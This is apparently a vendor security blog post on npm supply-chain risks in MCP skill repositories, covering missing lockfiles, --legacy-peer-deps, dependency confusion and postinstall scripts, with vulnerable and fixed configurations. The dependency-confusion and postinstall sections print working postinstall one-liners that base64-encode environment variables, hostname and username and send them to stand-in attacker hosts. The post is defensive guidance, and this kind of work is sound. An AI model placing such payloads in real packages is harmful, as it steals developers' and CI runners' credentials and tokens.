← Blog

Claude skill npm lockfile integrity and dependency confusion in MCP skill installation — SA-SKL-LOCKFILE

npm's package resolution model gives attackers several quiet levers: a missing lockfile means every fresh install re-resolves semver ranges, a forgotten --legacy-peer-deps flag changes what actually lands in node_modules, an unscoped private package name is one public-registry publish away from a dependency confusion attack, and a postinstall script in any transitive dependency runs arbitrary code the moment anyone types npm install. SA-SKL-LOCKFILE covers all four patterns with concrete package.json, .npmrc, and CI pipeline fixes.

By SkillAudit  |  7 Nov 2026

LOCKFILE-001 — Missing package-lock.json: silent malicious patch install on npm install

When package-lock.json is absent — either never generated, accidentally .gitignored, or deleted as part of a "clean" workflow — every npm install re-resolves semver ranges from scratch. A package.json entry of "lodash": "^4.17.0" tells npm to install any version >=4.17.0 <5.0.0; it does not pin to the version that was actually tested. If an attacker compromises the lodash maintainer account and publishes 4.17.22 with a malicious postinstall script, every clone of the MCP skill repository that runs npm install silently installs the compromised patch. No diff is shown, no warning is raised, and npm audit reports zero known vulnerabilities because no CVE has been filed yet. Using npm ci instead of npm install in CI prevents this — but only if a lockfile is committed in the first place. The lockfile is a security artifact, not a generated convenience file.

# VULNERABLE — LOCKFILE-001: no lockfile committed
# .gitignore (dangerous pattern seen in many MCP skill repos):
node_modules/
package-lock.json    # <-- this line disables supply-chain protection entirely
dist/
.env

# package.json (semver ranges resolve to whatever is current on the registry):
{
  "name": "mcp-audit-skill",
  "version": "1.0.0",
  "dependencies": {
    "lodash": "^4.17.0",
    "axios": "^1.4.0",
    "zod": "^3.21.0"
  }
}

# When a developer clones and runs: npm install
# npm queries the registry for the latest 4.x lodash — currently 4.17.21
# If attacker publishes lodash@4.17.22 tomorrow, the next clone installs it silently
# No lockfile means no integrity hash to compare — the swap is invisible

# In CI (.github/workflows/build.yml):
- run: rm -rf node_modules && npm install
# Same problem: re-resolves every range on every build run
# FIXED — LOCKFILE-001: commit the lockfile and enforce npm ci in CI
# Step 1: Remove package-lock.json from .gitignore
# .gitignore (correct):
node_modules/
dist/
.env
# package-lock.json is intentionally NOT listed here

# Step 2: Generate and commit the lockfile once:
npm install          # generates package-lock.json with pinned versions + integrity hashes
git add package-lock.json
git commit -m "chore: add npm lockfile for supply chain integrity"

# Step 3: Add a .gitignore audit to CI — fail the build if lockfile is excluded:
# .github/workflows/build.yml:
- name: Verify lockfile is not gitignored
  run: |
    if git check-ignore -q package-lock.json; then
      echo "ERROR: package-lock.json is gitignored — lockfile required for supply chain security"
      exit 1
    fi

# Step 4: Use npm ci (not npm install) in all CI pipelines:
- name: Install dependencies
  run: npm ci
# npm ci:
#   - Fails if package-lock.json is missing
#   - Installs EXACTLY the pinned versions from the lockfile
#   - Verifies the sha512 integrity hash of every package tarball
#   - Fails if package.json and lockfile are out of sync
#   - Does NOT update the lockfile — only npm install does that

# Step 5: Treat lockfile diffs in PRs as security-sensitive changes requiring review
HIGH
SA-SKL-LOCKFILE-001 — package-lock.json not committed to the MCP skill repository causes every npm install to re-resolve semver ranges from the registry, silently installing any malicious patch version published since the last tested install; fix by removing package-lock.json from .gitignore, committing the lockfile, and switching all CI pipelines from npm install to npm ci. Detection: SkillAudit flags repositories where package-lock.json is absent or listed in .gitignore alongside a package.json that uses semver range operators (^, ~, >=).

LOCKFILE-002 — --legacy-peer-deps in CI scripts bypasses intended dependency resolution

npm v7+ changed peer dependency resolution: if two packages in your dependency tree require conflicting versions of the same peer dependency, npm v7 fails the install with an error rather than silently picking one version. The flag --legacy-peer-deps reverts to the npm v6 behavior of ignoring peer dependency conflicts and simply picking whichever version satisfies the first requester. This flag is commonly added to CI scripts as a quick fix to suppress an install error, committed, and then forgotten. The problem is that the resulting node_modules tree differs from what the author intended and tested: a peer dependency conflict means two packages expected different versions; with --legacy-peer-deps, one of them silently gets the wrong version. If the "wrong" version is a security boundary (a JWT library, a crypto primitive, a schema validator), the skill may now be running with a dependency that has known vulnerabilities — and npm ci will not catch this because the lockfile was generated with the flag and reflects the wrong resolution. The correct fix is to resolve the peer conflict explicitly rather than suppress it.

# VULNERABLE — LOCKFILE-002: --legacy-peer-deps in CI script
# .github/workflows/build.yml (vulnerable):
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Install dependencies
        run: npm ci --legacy-peer-deps   # <-- added to fix an error, now forgotten
      - name: Test
        run: npm test

# What this silently changes:
# package.json requires:
#   "jose": "^4.0.0"          (JWT library expecting jose@4.x)
#   "some-auth-middleware": "^2.1.0"
#
# some-auth-middleware@2.1.0 has peerDependency: "jose": "^3.0.0"
#
# Without --legacy-peer-deps: npm fails with ERESOLVE — you must resolve the conflict
# With --legacy-peer-deps:    npm installs jose@4.x for the top-level dependency
#                             and may hoist a vulnerable jose@3.x for some-auth-middleware
#                             jose@3.x has known CVEs patched in v4 — now silently re-introduced

# Auditing the installed tree reveals the problem:
$ npm ls jose
mcp-audit-skill@1.0.0
+-- jose@4.14.4
+-- some-auth-middleware@2.1.0
    +-- jose@3.20.4   # <-- jose@3 with known CVEs, silently installed
# FIXED — LOCKFILE-002: resolve peer conflicts explicitly; remove --legacy-peer-deps
# Step 1: Identify the conflict without suppressing it:
$ npm install 2>&1 | grep ERESOLVE
# npm ERR! ERESOLVE unable to resolve dependency tree
# npm ERR! peer jose@"^3.0.0" from some-auth-middleware@2.1.0
# npm ERR! Conflicting peer dependency: jose@3.20.4

# Step 2: Choose a resolution — upgrade the conflicting package to one
# that supports the newer peer dependency version:
$ npm install some-auth-middleware@3.0.0   # upgrade to v3 which supports jose@4
# OR downgrade your top-level jose to the range the middleware requires:
$ npm install jose@3.20.4                  # only if jose@3.x has no active CVEs for your usage

# Step 3: If neither option is available yet, use overrides (npm v8.3+) to force
# a specific version and document the reason:
# package.json:
{
  "overrides": {
    "some-auth-middleware>jose": "^4.14.0"
  },
  "_comments": {
    "overrides": "Force jose@4 for some-auth-middleware until they ship v3.x — see issue #42"
  }
}

# Step 4: Remove --legacy-peer-deps from ALL CI scripts and npm scripts:
$ grep -r "legacy-peer-deps" .github/ package.json Makefile
# Delete every occurrence

# Step 5: Audit the final dependency tree after resolution:
$ npm ls --depth=3
$ npm audit
# Confirm no duplicate/conflicting versions of security-sensitive packages
HIGH
SA-SKL-LOCKFILE-002 — npm install --legacy-peer-deps reverts to npm v6 peer dependency resolution, silently installing different transitive dependency versions than the author intended and potentially re-introducing packages with known CVEs that were resolved in newer peer versions; fix by explicitly resolving peer conflicts via package upgrades or package.json overrides, removing --legacy-peer-deps from all CI and npm scripts, and auditing the final dependency tree with npm ls. Detection: SkillAudit flags --legacy-peer-deps in CI configuration files, package.json scripts, and .npmrc.

LOCKFILE-003 — Unscoped private package: dependency confusion via public npm higher version

Dependency confusion (also called namespace confusion) exploits npm's version resolution priority: when a package name exists in both a private/internal registry and the public npm registry, npm resolves to whichever source offers the higher version number — regardless of which registry is considered "trusted." An MCP skill that uses an internal helper package named helpers (no @skillaudit/ scope prefix) is vulnerable if the private registry is configured as a fallback or proxy rather than as an exclusive source for that name. An attacker who discovers the unscoped name — from a leaked package.json, a job posting, a GitHub search — publishes helpers@9.9.9 to the public npm registry with a postinstall script that exfiltrates environment variables. Every subsequent npm install in every environment that can reach the public registry installs the malicious package. Scoping all internal packages under a company namespace and pinning that scope exclusively to the private registry makes the confusion structurally impossible.

# VULNERABLE — LOCKFILE-003: unscoped internal package name
# .npmrc (project-level, typical proxy configuration):
registry=https://registry.skillaudit.internal/

# This registry PROXIES both internal packages AND public npm.
# When both sources have the same package name, the HIGHER VERSION wins.

# package.json:
{
  "name": "mcp-audit-skill",
  "version": "1.0.0",
  "dependencies": {
    "helpers": "^1.4.0",        # internal package — lives on internal registry at v1.4.3
    "validators": "^2.0.0",     # internal package — lives on internal registry at v2.0.1
    "axios": "^1.4.0"           # legitimate public package
  }
}

# Internal registry has:  helpers@1.4.3
# Attacker publishes to public npm:
#   npm publish helpers --version 9.9.9
#   package.json includes:
#   "scripts": { "postinstall": "node -e \"const h=require('https');h.get('https://attacker.io/x?e='+Buffer.from(JSON.stringify(process.env)).toString('base64'));\"" }

# When any developer or CI runner executes: npm install
# The proxy compares helpers@1.4.3 (internal) vs helpers@9.9.9 (public)
# 9.9.9 > 1.4.3 — the public malicious package wins
# postinstall fires: all env vars (AWS_SECRET_ACCESS_KEY, NPM_TOKEN, etc.) exfiltrated
# The lockfile is updated silently with helpers@9.9.9 — no diff alert unless PRs are reviewed
# FIXED — LOCKFILE-003: scope internal packages and pin scope to private registry only
# Step 1: Rename all internal packages to a scoped format in both the registry and package.json
# Internal registry: publish as @skillaudit/helpers (not helpers)
# package.json (fixed):
{
  "name": "mcp-audit-skill",
  "version": "1.0.0",
  "dependencies": {
    "@skillaudit/helpers": "^1.4.0",    # scoped — public npm has no @skillaudit/ packages
    "@skillaudit/validators": "^2.0.0", # scoped
    "axios": "^1.4.0"
  }
}

# Step 2: Pin the @skillaudit scope exclusively to the private registry in .npmrc
# .npmrc (project-level):
@skillaudit:registry=https://registry.skillaudit.internal/
# Public npm is NEVER queried for @skillaudit/* packages — confusion is structurally impossible
# (The unscoped registry line can remain for public packages like axios)

# Step 3: Prevent accidental public publish with publishConfig in internal package.json:
# @skillaudit/helpers/package.json:
{
  "name": "@skillaudit/helpers",
  "publishConfig": {
    "registry": "https://registry.skillaudit.internal/",
    "access": "restricted"
  }
}
# "access": "restricted" prevents npm publish from sending to the public registry
# even if someone accidentally runs npm publish without specifying --registry

# Step 4: If renaming is not immediately possible, claim the unscoped name on public npm
# with a 0.0.1 placeholder package:
# helpers/package.json (placeholder):
{
  "name": "helpers",
  "version": "0.0.1",
  "description": "Reserved by SkillAudit — this package is maintained internally. See https://skillaudit.dev"
}
# npm publish helpers  # Claims the name — attacker can no longer publish a higher version
CRITICAL
SA-SKL-LOCKFILE-003 — Private MCP skill packages without a scope prefix (@company/) are vulnerable to dependency confusion attacks where an attacker publishes a higher-version package with the same unscoped name to the public npm registry, causing npm install to prefer the malicious public package over the internal one; fix by scoping all internal packages under a company namespace, pinning that scope to the private registry in .npmrc, and setting publishConfig.access=restricted to prevent accidental public publish. Detection: SkillAudit flags package.json files with unscoped dependency names that appear internal (camelCase company patterns, internal domain refs) alongside a non-public .npmrc registry configuration.

LOCKFILE-004 — postinstall script RCE: arbitrary code execution on npm install

npm's lifecycle hook system allows any package — including transitive dependencies three levels deep — to run arbitrary shell commands when it is installed. The postinstall script runs with the same OS permissions as the process that invoked npm install: on a developer's machine that is typically the user's full account; in a CI/CD environment it is the runner's service account with access to secrets injected as environment variables. The exploit requires no interaction beyond npm install: once a compromised transitive dependency lands in the resolution graph, the postinstall script fires automatically. The attack surface is large because developers rarely audit scripts fields in packages they did not directly choose. The fix is defense in depth: use npm install --ignore-scripts (or npm ci --ignore-scripts) in environments where scripts are not needed, audit new dependencies for postinstall entries before they run, pin dependencies to exact versions, and use Socket.dev to monitor for newly added lifecycle scripts in dependency updates.

# VULNERABLE — LOCKFILE-004: unaudited postinstall in transitive dependency
# mcp-audit-skill/package.json:
{
  "name": "mcp-audit-skill",
  "version": "1.0.0",
  "dependencies": {
    "audit-formatter": "^2.1.0"   # direct dependency — author is trusted
  }
}

# audit-formatter@2.1.0/package.json (you chose this, but not its deps):
{
  "name": "audit-formatter",
  "version": "2.1.0",
  "dependencies": {
    "pretty-bytes": "^5.6.0",
    "color-delta": "^0.3.0"       # transitive — you never evaluated this
  }
}

# color-delta@0.3.1 is published (a patch bump — no review triggered):
# color-delta@0.3.1/package.json:
{
  "name": "color-delta",
  "version": "0.3.1",
  "scripts": {
    "postinstall": "node -e \"try{const c=require('child_process'),o=require('os');c.exec('curl -s https://evil.io/x?h='+Buffer.from(o.hostname()).toString('base64')+'&e='+Buffer.from(JSON.stringify(process.env)).toString('base64')+'&u='+Buffer.from(o.userInfo().username).toString('base64'),{timeout:5000});}catch(e){}\""
  }
}

# When any developer runs: npm install
# npm resolves color-delta to 0.3.1 (matches ^0.3.0)
# postinstall fires immediately after extraction — no prompt, no warning
# AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, NPM_TOKEN, GITHUB_TOKEN all exfiltrated
# The script catches errors silently — if exfiltration fails, install proceeds normally
# npm audit reports 0 vulnerabilities (no CVE filed yet for color-delta@0.3.1)
# FIXED — LOCKFILE-004: defense-in-depth against postinstall script RCE

# Fix 1: Use --ignore-scripts in CI/CD (prevents ALL lifecycle scripts from running):
# .github/workflows/build.yml:
- name: Install dependencies
  run: npm ci --ignore-scripts
# Trade-off: packages that require a build step (native addons like bcrypt, canvas)
# will break — test first. For pure-JS skill dependencies this is almost always safe.

# Fix 2: For local dev where some scripts are needed, audit before install:
# Before adding any new dependency, check its scripts field:
$ npm show color-delta scripts
# Or inspect the downloaded tarball before install:
$ npm pack color-delta@0.3.1 && tar -tzf color-delta-0.3.1.tgz | xargs -I{} sh -c 'tar -xOf color-delta-0.3.1.tgz {} 2>/dev/null' | grep -A5 '"scripts"'

# Fix 3: Pin all dependencies to exact versions in package.json (no semver ranges):
# package.json (before — vulnerable):
{
  "dependencies": {
    "audit-formatter": "^2.1.0"   # any 2.x version accepted
  }
}
# package.json (after — pinned):
{
  "dependencies": {
    "audit-formatter": "2.1.0"    # exactly this version; npm install --save-exact
  }
}
# npm install --save-exact          # sets exact versions for all new installs
# npm config set save-exact true    # make --save-exact the default for this project

# Fix 4: Add Socket.dev to CI for automatic postinstall script detection:
# .github/workflows/socket-scan.yml:
- uses: SocketDev/socket-security-action@v2
  with:
    api-key: ${{ secrets.SOCKET_API_KEY }}
# Socket.dev flags packages that add new postinstall/preinstall scripts in updates
# and blocks the CI run for review before the script can execute

# Fix 5: Monitor npm audit and lock transitive dependency versions:
# package-lock.json already pins all transitive versions + sha512 integrity hashes
# npm ci verifies these hashes — a modified tarball (even at the same version) fails
$ npm ci          # fails if any tarball hash doesn't match the lockfile
# If a compromised color-delta@0.3.1 replaces the original on the registry, the hash changes
# npm ci rejects it — the attack is blocked even if the lockfile version matches
HIGH
SA-SKL-LOCKFILE-004 — postinstall scripts in transitive npm dependencies execute arbitrary code with the installing user's or CI runner's permissions on every npm install, enabling silent credential exfiltration and backdoor installation; fix by using npm ci --ignore-scripts in CI, auditing scripts fields in new dependencies before install, pinning all dependencies to exact versions with --save-exact, and using Socket.dev to detect newly added lifecycle scripts in dependency updates. Detection: SkillAudit flags CI configuration files that use npm install without --ignore-scripts, scans all direct and transitive package.json files for postinstall/preinstall/install script fields, and flags semver range operators (^, ~) in dependencies where exact pinning is feasible.

Detection summary

ID Severity Pattern Fix
LOCKFILE-001 HIGH Missing package-lock.json — semver re-resolved on every npm install; malicious patch installs silently Remove lockfile from .gitignore; commit package-lock.json; use npm ci in all CI pipelines
LOCKFILE-002 HIGH --legacy-peer-deps in CI overrides resolution; may install different/vulnerable transitive versions silently Resolve peer conflicts explicitly via upgrades or overrides; remove all --legacy-peer-deps occurrences; audit with npm ls
LOCKFILE-003 CRITICAL Unscoped private package name — higher-version public npm publish wins dependency resolution (dependency confusion) Scope internal packages under @company/; pin scope to private registry in .npmrc; set publishConfig.access=restricted
LOCKFILE-004 HIGH Transitive postinstall script executes arbitrary code with installer permissions on npm install npm ci --ignore-scripts in CI; exact version pinning; Socket.dev lifecycle-script monitoring; npm audit

Related patterns: SA-SKL-DEPENDENCY3 covers dependency confusion via higher-version public npm shadow, typosquatting of common package names, and npm install vs npm ci lockfile bypass from a build-pipeline perspective. MCP server supply chain security covers attestation, SBOM generation, and registry mirroring strategies for hardening the full MCP skill distribution chain against supply chain attacks.